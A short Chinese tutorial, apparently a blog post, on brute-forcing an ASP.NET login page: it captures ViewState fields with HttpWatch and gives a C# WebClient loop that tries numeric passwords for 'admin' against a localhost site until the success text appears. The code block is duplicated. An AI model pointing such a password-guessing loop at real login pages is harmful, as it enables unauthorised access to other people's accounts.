暴力破解:一个接一个的试,直到试验出正确的密码。
详细如下:
利用HttpWatch软件进行检测,选择Stream选项卡下面的文件_ViewState
然后我们建一个应用程序:


1 WebClient web = new WebClient();
2 web.Encoding = Encoding.UTF8;
3 for (int i = 0; i < 399; i++)
4 {
5 string s = web.DownloadString("http://localhost:2118/WebSite5/Default.aspx?__VIEWSTATE=%2FwEPDwUKMTYzNzQ1NDcxN2Rkg804Yc5o9vrY7xCLcOO1%2FUInvAU%3D&txtName=admin&txtPass="+i.ToString()+"&Button1=%E7%99%BB%E9%99%86&__EVENTVALIDATION=%2FwEWBAL60vXOCgLEhISFCwLKw6LdBQKM54rGBlE0dgunJ7CE4iZnuSf6tAvjjcI8");
6 if (s.Contains("登陆成功"))
7 {
8 Console.WriteLine("密码破解成功:密码为:" + i.ToString());
9 break;
10 }
11 }
12
13 Console.ReadKey();
2 web.Encoding = Encoding.UTF8;
3 for (int i = 0; i < 399; i++)
4 {
5 string s = web.DownloadString("http://localhost:2118/WebSite5/Default.aspx?__VIEWSTATE=%2FwEPDwUKMTYzNzQ1NDcxN2Rkg804Yc5o9vrY7xCLcOO1%2FUInvAU%3D&txtName=admin&txtPass="+i.ToString()+"&Button1=%E7%99%BB%E9%99%86&__EVENTVALIDATION=%2FwEWBAL60vXOCgLEhISFCwLKw6LdBQKM54rGBlE0dgunJ7CE4iZnuSf6tAvjjcI8");
6 if (s.Contains("登陆成功"))
7 {
8 Console.WriteLine("密码破解成功:密码为:" + i.ToString());
9 break;
10 }
11 }
12
13 Console.ReadKey();
我们可以把上图中的选择内容放到WebClient对象的DownLoadString方法中,与我们的URL用“?”相隔。
这样就可以破解简单的web程序啦!!!!